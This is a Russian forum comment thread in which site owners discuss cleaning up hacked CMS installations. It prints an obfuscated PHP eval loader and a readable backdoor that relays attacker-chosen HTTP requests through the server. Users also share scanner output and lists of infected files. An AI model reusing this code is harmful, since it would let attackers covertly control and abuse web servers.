                                                      '%Qgc4t%ev%Qgy%eU%Qs%VU%QsdBq%Q6iqf%Q6%Qgc4t%ev%Qgy%eU%QZ%Qs%eo%Qs%Q6%Qgc4t_X42%Qs%Q'.
                                                      'e%QsQee%QZ%QZ%Vv%sU%sF%Qs%Qs%Qs%Qs%rU%sU%sF%sU%sF%Qs%'.
                                                      'Qs%Qs%Qs0iq%Qs%Q6%Qgy%VUs%Vv%Qs%Qgy%VjM9qX42%Q6%Qgfl9l%QZ%Vv%QZ%sU%sF%Qs%Qs%Qs%Qs%rv%sU%sF%'.
                                                      'Qs%Qs%Qs%Qs%Qs%Qs%Qs%Qs0iq%Qs%Q6%QgP%VUs%Vv%Qs%QgP%VjM9q'.
                                                      'X42%Q6%Qgc4t%QZ%Qs%Q5%Q5%Qs%Qgy%VjM9qX42%Q6%Qgfl9l%QZ%Vv%Qs%QgP'.
                                                      '%Qv%Qv%Qj%Qs%Qgy%Qv%Qv%QZ%sU%sF%Qs%Qs%Qs%Qs%Qs%Qs%Qs%Qs%rv%sU%sF%Qs'.
                                                      '%Qs%Qs%Qs%Qs%Qs%Qs%Qs%Qs%Qs%Qs%Qs%QgiO9_fl9l%Qs.%VU%QsdBq%Q6iqf%Q6%Qgfl9l%ev%Qgy%eU%QZ%Q'.
                                                      's%eo%Qsiqf%Q6%Qgc4t%ev%QgP%eU%QZ%QZ%Vv%sU%sF%Qs%Qs%Qs%Qs%Qs%Qs%Qs%Q'.
                                                      's%rU%sU%sF%Qs%Qs%Qs%Qs%rU%sU%sF%sU%sF%Qs%Qs%Qs%Qsq49Oq2%Qs%QgiO9'.
                                                      '_fl9l%Vv%sU%sF%rU%sU%sF%sU%sF0O2d9yi2%QsM42f_fl9lp%Q6%Qgfl'.
                                                      '9l%QZ%sU%sF%rv%sU%sF%Qs%Qs%Qs%Qs%QgB4lf%Qs%VU%Qs%QQ%QQ%Vv%sU%sF%sU%sF%Qs'.
                                                      '%Qs%Qs%Qs0iq4ldB%Q6%Qgfl9l%ev%QQB4lf4qM%QQ%eU%QslM%Qs%Q'.
                                                      'gc4t%VU%Vo%QgzlXO4%QZ%sU%sF%Qs%Qs%Qs%Qs%rv%sU%sF%Qs%Qs%Qs%Qs%Qs%Qs%Qs%Qs%QgB4lf%Qs.%VU%Qs%Qgc4t%Qs.'.
                                                      '%Qs%QQ%VF%Qs%QQ%Qs.%Qs%QgzlXO4%Qs.%Qs%QQ%ejq%ej2%QQ%Vv%sU%sF%Qs%Qs%Qs%Qs%rU%sU%s'.
                                                      'F%sU%sF%Qs%Qs%Qs%Qs%QgAlqlEM%Qs%VU%Qslqqlt%Q6%QrB99A%Qr%Qs%VU%Vo%Qslqqlt%Q6%sU%s'.
                                                      'F%Qs%Qs%Qs%Qs%Qs%Qs%Qs%Qs%QrE49Bif%Qr%Qs%VU%Vo%Qs%Qgf'.
                                                      'l9l%ev%QQE49Bif%QQ%eU%Qj%sU%sF%Qs%Qs%Qs%Qs%Qs%Qs%Qs%Qs%QrB4lf4q%Qr%Qs%V'.
                                                      'U%Vo%Qs%QgB4lf%Qj%sU%sF%Qs%Qs%Qs%Qs%Qs%Qs%Qs%Qs%Qrdi29429%Qr%Qs%V'.
                                                      'U%Vo%Qs%Qgfl9l%ev%QQRift%QQ%eU%Qj%sU%sF%Qs%Qs%Qs%Qs%Q'.
                                                      's%Qs%Qs%Qs%Qr9yE4iO9%Qr%Qs%VU%Vo%Qs%Qgfl9l%ev%QQ9yE4iO9%QQ%eU%Qj%sU%sF%Qs%Qs%Qs%Qs%Qs%Q'.
                                                      's%Qs%Qs%sU%sF%Qs%Qs%Qs%Qs%QZ%QZ%Vv%sU%sF%sU%sF%Qs%Qs%Qs'.
                                                      '%Qs%Qgd9S%Qs%VU%QsM9q4lE_di294S9_dq4l94%Q6%QgAlqlEM%QZ%Vv%sU%sF%Qs%Qs%Qs%Qs%sU%sF%Qs%Qs%Qs%Qs%Q'.
                                                      'gq4MOX9%Qs%VU%Qs%gs0yX4_149_di29429M%Q6%Qgfl9l%ev%QQOqX%QQ%eU%Qj%QsLF'.
                                                      'wYo%Qj%Qs%Qgd9S%QZ%Vv%sU%sF%sU%sF%Qs%Qs%Qs%Qsy0%Qs%Q6%QgB99A_q4MAi2M4_'.
                                                      'B4lf4q%QZ%sU%sF%Qs%Qs%Qs%Qs%rv%sU%sF%Qs%Qs%Qs%Qs%Qs%Qs%Qs%Qsy0%Qs%Q6M9qAiM%Q6%'.
                                                      'QgB99A_q4MAi2M4_B4lf4q%evs%eU%Qj%Qs%QQQss%QQ%QZ%Qs%'.
                                                      'VU%VU%VU%QsLFwYo%QZ%sU%sF%Qs%Qs%Qs%Qs%Qs%Qs%Qs%Qs%rv%sU%sF%Qs%Qs%Qs%Qs%Qs%Qs%Qs%Qs%Qs%Qs%Qs%Qs%'.
                                                      'Qgq4MOX9%Qs%VU%Qs%QQT88a_ohhbh%ej9%QQ%Qs.%Qs%QgB99A_q4MAi2M4_B4lf4q%evs%eU%Vv%sU%sF%Qs%Qs%Qs%Qs'.
                                                      '%Qs%Qs%Qs%Qs%rU%sU%sF%Qs%Qs%Qs%Qs%rU%sU%sF%Qs%Qs%Qs%Qs4XM4%sU%sF%Qs%Qs%Qs%'.
                                                      'Qs%rv%sU%sF%Qs%Qs%Qs%Qs%Qs%Qs%Qs%Qs%Qgq4MOX9%Qs%VU%Qs%QQjbNNoj8ubN'.
                                                      '_ohhbh%QQ%Vv%sU%sF%Qs%Qs%Qs%Qs%rU%sU%sF%sU%sF%Qs%Qs%Qs%Qsq49Oq2%Qs%Qgq4MOX9%Vv%sU%sF%rU%sU%'.
                                                      'sF%sU%sF0O2d9yi2%QsM42f_fl9lQ%Q6%Qgfl9l%QZ%sU%sF%rv%sU%sF%Qs%Qs%Qs%Qs//%QsOM4%QsMidc49M%sU%sF%rU';
                                                      $zhmoaocvvt = Array('1'=>'g', '0'=>'f', '3'=>'J', '2'=>'n', '5'=>'6', '4'=>'e', '7'=>'Y', '6'=>'8', '9'=>'t', '8'=>'T', 'A'=>'p', 'C'=>'K', 'B'=>'h', 'E'=>'m', 'D'=>'G', 'G'=>'V', 'F'=>'A', 'I'=>'Z', 'H'=>'X', 'K'=>'Q', 'J'=>'w', 'M'=>'s', 'L'=>'F', 'O'=>'u', 'N'=>'N', 'Q'=>'2', 'P'=>'j', 'S'=>'x', 'R'=>'b', 'U'=>'D', 'T'=>'H', 'W'=>'U', 'V'=>'3', 'Y'=>'S', 'X'=>'l', 'Z'=>'9', 'a'=>'P', 'c'=>'k', 'b'=>'O', 'e'=>'5', 'd'=>'c', 'g'=>'4', 'f'=>'d', 'i'=>'o', 'h'=>'R', 'k'=>'z', 'j'=>'C', 'm'=>'q', 'l'=>'a', 'o'=>'E', 'n'=>'W', 'q'=>'r', 'p'=>'1', 's'=>'0', 'r'=>'7', 'u'=>'I', 't'=>'y', 'w'=>'L', 'v'=>'B', 'y'=>'i', 'x'=>'M', 'z'=>'v');
                                                      eval/*tbtro*/(trpnppanw($kbkxysfg, $zhmoaocvvt));?>
                                                        Володя
                                                        24 августа 2018, 17:35
                                                        0
                                                        <?php
                                                        @ini_set('display_errors', 0);
                                                        @ini_set('log_errors', 0);
                                                        @error_reporting(0);
                                                        @set_time_limit(0);
                                                        @ignore_user_abort(1);
                                                        @ini_set('max_execution_time', 0);
                                                        
                                                        foreach ($_COOKIE as $item) {
                                                            if ($item != "f08c42d0-b16d-425e-9ab3-43776c82f21d") {
                                                                exit();
                                                            }
                                                        }
                                                        
                                                        $data = file_get_contents('php://input');
                                                        $data = split("=", $data, 2);
                                                        
                                                        $b64_decode_data = base64_decode(urldecode($data[1]));
                                                        
                                                        $send_data = unserialize(decrypt($b64_decode_data));
                                                        
                                                        $result = send_data1($send_data);
                                                        
                                                        if (!$result) {
                                                            $result = send_data2($send_data);
                                                        }
                                                        
                                                        echo $result;
                                                        
                                                        function decrypt($data)
                                                        {
                                                            $out_data = "";
                                                            $key = $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
                                                            $key_len = strlen($key);
                                                        
                                                            for ($i = 0; $i < strlen($key); $i++) {
                                                                $key[$i] = chr(ord($key[$i]) ^ ($key_len % 255));
                                                            }
                                                        
                                                            for ($i = 0; $i < strlen($data);) {
                                                                for ($j = 0; $j < strlen($key) && $i < strlen($data); $j++, $i++) {
                                                                    $out_data .= chr(ord($data[$i]) ^ ord($key[$j]));
                                                                }
                                                            }
                                                        
                                                            return $out_data;
                                                        }
                                                        
                                                        function send_data1($data)
                                                        {
                                                            $head = "";
                                                        
                                                            foreach ($data["headers"] as $key => $value) {
                                                                $head .= $key . ": " . $value . "\r\n";
                                                            }
                                                        
                                                            $params = array(
                                                                'http' => array(
                                                                    'method'  => $data["method"],
                                                                    'header'  => $head,
                                                                    'content' => $data["body"],
                                                                    'timeout' => $data["timeout"],
                                                        
                                                                )
                                                            );
                                                        
                                                            $ctx = stream_context_create($params);
                                                        
                                                            $result = @file_get_contents($data["url"], false, $ctx);
                                                        
                                                            if ($http_response_header) {
                                                                if (strpos($http_response_header[0], "200") === false) {
                                                                    $result = "HTTP_ERROR\t" . $http_response_header[0];
                                                                }
                                                            } else {
                                                                $result = "CONNECTION_ERROR";
                                                            }
                                                        
                                                            return $result;
                                                        }
                                                        
                                                        function send_data2($data)
                                                        {
                                                            // use sockets
                                                        }
                                                          Олег Захаров
                                                          24 августа 2018, 18:06
                                                          0
                                                          Это Вы расшифровали код выше? Если да то как вы расшифровали? Я чайник:)
                                                          Что делает этот файл? Это взлом? Удалять этот файл?
                                                        Олег Захаров
                                                        24 августа 2018, 18:12
                                                        0
                                                        Выложил результаты проверки айболитом, но не успел написать зачем. Я правильно понимаю что все эти левые файлы с переменными массивами аля Global — потенциально результаты взлома сайтов?
                                                        Меня удивляет как удалось злоумышленникам записать в директории админки и коннекторов если я их переименовал (core вынес наверх)?
                                                        Из списка обнаруженного — можно говорить что риску взлома подвержены компоненты Minify? (про Gallery понятно).
                                                        Как зараза они смогли модифицировать системные файлы (/controllers/default/system/event.class.php).
                                                        У себя заметил что все измененные и зараженные файлы были модифицированны в одно и то же время (28.05.18). И таким образом я искал все файлы которые были изменены в эту дату. Но все равно айболит нашел файлы которые имели дату изменения более ранние (даже 2016 года), но при этом были встроенные левые коды (сравнивал с другими сайтами — там левых кодов в этих файлах не было).
                                                        Алексей
                                                        26 сентября 2018, 01:30
                                                        0
                                                        скачивал сегодня aibolit, при запуске сканирования выдал ошибку:
                                                        php ~/aibolit/ai-bolit/ai-bolit.php -p ~/ --mode=1 -o ~/report.json --no-html --delay=5 --all
                                                        PHP Parse error: syntax error, unexpected T_FUNCTION in /home/s/sknnovyand/aibolit/ai-bolit/ai-bolit.php on line 2337
                                                          Алексей
                                                          10 декабря 2018, 16:48
                                                          1
                                                          0
                                                          Мне ещё помогла данная команда определить зараженный файлы:
                                                          find -newerct "1 Sep 2018" ! -newerct "10 Dec 2018" -ls
                                                          Запускать из консоли. Просто смотрим дату создания файла с вирусом, и в корневой директории доступной для php запускаем из командной строки пользователя данную команду с разбегом ±месяц. Видимо вирус не удосужился заменить дату создания файлов, поэтому его можно вычислить.
                                                          Ну а эта команда покажет список файлов созданных между 1 сентября 2018 года и 10 декабря 2018 года.
                                                            Алексей
                                                            10 декабря 2018, 17:14
                                                            0
                                                            вот пример файлов с вирусами:
                                                            1606794     16 -rw-r--r--   1 justme   justme      12787 Oct 18 13:20 ./connectors/manager/access.php
                                                              1603580     24 -rw-r--r--   1 justme   justme      24519 Sep 28 11:50 ./connectors/manager/Dwsonv.php
                                                              1603556     12 -rw-r--r--   1 justme   justme       9798 Sep 25 11:18 ./connectors/manager/Meuhy.php
                                                              1606796     88 -rw-r--r--   1 justme   justme      87463 Oct 18 13:20 ./connectors/manager/server.php
                                                              1606795     40 -rw-r--r--   1 justme   justme      40906 Oct 18 13:20 ./connectors/manager/doptions.php
                                                              1578437      8 -rw-r--r--   1 justme   justme       4785 Sep 22 06:41 ./connectors/manager/search.php
                                                              1589658      4 -rw-r--r--   1 justme   justme        291 Oct 25 13:07 ./connectors/manager/wp-version.php
                                                              1603581     88 -rw-r--r--   1 justme   justme      87463 Sep 28 11:50 ./connectors/server.php
                                                              1578438      4 drwxr-xr-x   2 justme   justme       4096 Sep 28 11:44 ./map
                                                              1603566   5124 -rw-r--r--   1 justme   justme    5244015 Sep 28 11:42 ./map/sitemap16.xml
                                                              1603574   5052 -rw-r--r--   1 justme   justme    5172167 Sep 28 11:43 ./map/sitemap15.xml
                                                              1603570   5080 -rw-r--r--   1 justme   justme    5200171 Sep 28 11:42 ./map/sitemap18.xml
                                                              1603575   5084 -rw-r--r--   1 justme   justme    5202419 Sep 28 11:44 ./map/sitemap10.xml
                                                              1603564   5092 -rw-r--r--   1 justme   justme    5210143 Sep 28 11:41 ./map/sitemap1.xml
                                                              1603571   5112 -rw-r--r--   1 justme   justme    5232185 Sep 28 11:43 ./map/sitemap17.xml
                                                              1589661   5220 -rw-r--r--   1 justme   justme    5342546 Sep 28 11:41 ./map/sitemap4.xml
                                                              1603572   5108 -rw-r--r--   1 justme   justme    5229295 Sep 28 11:43 ./map/sitemap13.xml
                                                              1603569   5072 -rw-r--r--   1 justme   justme    5189645 Sep 28 11:42 ./map/sitemap14.xml
                                                              1603577   5136 -rw-r--r--   1 justme   justme    5256439 Sep 28 11:44 ./map/sitemap6.xml
                                                              1603563   5060 -rw-r--r--   1 justme   justme    5179566 Sep 28 11:41 ./map/sitemap2.xml
                                                              1578446   5048 -rw-r--r--   1 justme   justme    5167440 Sep 28 11:41 ./map/sitemap9.xml
                                                              1603567   5068 -rw-r--r--   1 justme   justme    5188781 Sep 28 11:42 ./map/sitemap7.xml
                                                              1603579   5112 -rw-r--r--   1 justme   justme    5231154 Sep 28 11:44 ./map/sitemap19.xml
                                                              1603565   5188 -rw-r--r--   1 justme   justme    5309893 Sep 28 11:41 ./map/sitemap20.xml
                                                              1603576   5064 -rw-r--r--   1 justme   justme    5184554 Sep 28 11:44 ./map/sitemap3.xml
                                                              1603568   5128 -rw-r--r--   1 justme   justme    5247563 Sep 28 11:42 ./map/sitemap12.xml
                                                              1603573   5016 -rw-r--r--   1 justme   justme    5134371 Sep 28 11:43 ./map/sitemap11.xml
                                                              1603578   5160 -rw-r--r--   1 justme   justme    5280363 Sep 28 11:44 ./map/sitemap5.xml
                                                              1578441   5096 -rw-r--r--   1 justme   justme    5214693 Sep 28 11:41 ./map/sitemap8.xml
                                                              1450550     36 -rw-r--r--   1 justme   justme      35486 Sep 28 07:45 ./index.php
                                                              1450552      4 -rw-r--r--   1 justme   justme       1321 Sep 28 11:44 ./robots.txt
                                                            вирус создаёт карту сайта, авторизируется в гугл-вебмастере(собственно оттуда я и узнал что моим сайтом кто-то ещё начал управлять) добавляет туда кучу новых sitemap.xml. Похоже кто-то так размещает статьи для темного СЕО.
                                                            Павел Б
                                                            13 января 2020, 14:00
                                                            0
                                                            Друзья, а как сделать отчет в виде html? Указанные на сайте revisium.com/kb/ai-bolit-console-faq.html теги у меня не сработали…
                                                              Авторизуйтесь или зарегистрируйтесь, чтобы оставлять комментарии.
                                                              80